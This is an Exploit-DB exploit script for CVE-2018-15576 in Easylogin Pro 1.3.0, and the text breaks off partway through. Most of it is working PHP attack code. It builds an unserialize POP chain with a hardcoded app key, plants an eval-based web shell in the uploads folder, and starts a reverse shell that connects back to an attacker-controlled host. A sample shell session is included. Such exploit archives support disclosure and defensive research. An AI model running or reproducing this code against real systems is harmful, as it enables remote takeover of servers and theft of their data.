Exploit-DB #45227
Description: Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution
Type: remote
Platform: php
Date: 2018-08-20
Author: mr_me

Exploit:
#!/usr/bin/php
<?php
/*
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability
Version: 1.3.0
Platform: Ubuntu Server 18.04.1 

Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)
CVE: CVE-2018-15576

Notes:
======

- This is not really a security issue I guess, because you need to know the key. 
  But a simple disclosure bug could mean its game over for Easylogin Pro
- You will need PHP with threading support to run this exploit
- Laravel + Guzzle === lol

Example:
========

mr_me@pluto:~$ php -m | grep pthreads && php --version
pthreads
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies

mr_me@pluto:~$ ./e.php 

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
Bug found by: @f99942
Tekniq/exploit by: @steventseeley (mr_me)

----------------------------------------------------
Usage: php ./e.php -t <ip> -c <ip:port>
-t:      target server (ip with or without port)
-c:      connectback server (ip and port)
Example:
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337
----------------------------------------------------
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337

Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability
bug found by: @f99942
tekniq/exploit by: @steventseeley (mr_me)

(+) snap...
(+) crackle...
(+) pop!
(+) connectback from 172.16.175.137 via port 41860

www-data@target:/var/www/html/uploads$ id;uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
www-data@target:/var/www/html/uploads$ ls -la
total 12
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .
drwxr-xr-x 9 www-data www-data 4096 Aug  9 14:49 ..
-rwxrwxrwx 1 root     root       13 Dec 12  2017 .gitignore
www-data@target:/var/www/html/uploads$ php --version
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul  4 2018 16:55:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
www-data@target:/var/www/html/uploads$
*/

namespace GuzzleHttp\Cookie;

// change these to work against your target
$key  = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";
$path = "/var/www/html";
 
class Encrypter {
    protected $key;
    protected $cipher;

    public function __construct($key, $cipher = 'AES-256-CBC'){
        $key = (string) $key;
        $this->key = $key;
        $this->cipher = $cipher;
    }

    public function encrypt($value, $serialize = true){
        $iv = random_bytes(openssl_cipher_iv_length($this->cipher));
        $value = openssl_encrypt(
            $serialize ? serialize($value) : $value,
            $this->cipher, $this->key, 0, $iv
        );
        if ($value === false) {
            throw new EncryptException('Could not encrypt the data.');
        }
        $mac = $this->hash($iv = base64_encode($iv), $value);
        $json = json_encode(compact('iv', 'value', 'mac'));
        if (json_last_error() !== JSON_ERROR_NONE) {
            throw new EncryptException('Could not encrypt the data.');
        }
        return base64_encode($json);
    }

    public function encryptString($value){
        return $this->encrypt($value, false);
    }

    protected function hash($iv, $value){
        return hash_hmac('sha256', $iv.$value, $this->key);
    }
}

// pop chain
interface ToArrayInterface {}

class SetCookie implements ToArrayInterface {
    private $data;

    public function __construct(array $data = []){
        $this->data = $data;
    }
}

class CookieJar implements ToArrayInterface {
    private $cookies;

    public function setCookie(SetCookie $cookie){
        $this->cookies = array($cookie);
    }
}

class FileCookieJar extends CookieJar {
    private $filename;

    public function __construct($bd_file, $cbh, $cbp){
        $this->filename = $bd_file;
        $this->setCookie(new SetCookie(array(
            "Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>', 
            "Expires" => true,
            "Discard" => false,
        ))); 
    }
}

class Exploit{
    private $target;
    private $targetport;
    private $cbhost;
    private $cbport;
    private $key;
    private $path;

    public function __construct($t, $tp, $cbh, $cbp, $k, $p){
        $this->target     = $t;
        $this->targetport = $tp;
        $this->cbhost     = $cbh;
        $this->cbport     = $cbp;
        $this->key        = $k;
        $this->path       = $p;
    }

    public function run(){

        // its possible to leak the path if app.php contains 'debug' => true
        // also, uploads is writable by default for avatars
        $fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);
        $e   = new Encrypter($this->key);
        $this->p = $e->encryptString(serialize($fcj));

        // hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login 
        $c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a[PII_REDACTED]e=$this->p"));
        if ($c === 500){
            print "(+) pop!\r\n";

            // start our listener
            $s = new Shell($this->cbport); 
            $s->start();

            // msf reverse shell with some stuff modified
            $rs = <<<'PHP'
@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
$dis=@ini_get('disable_functions');
if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
}else{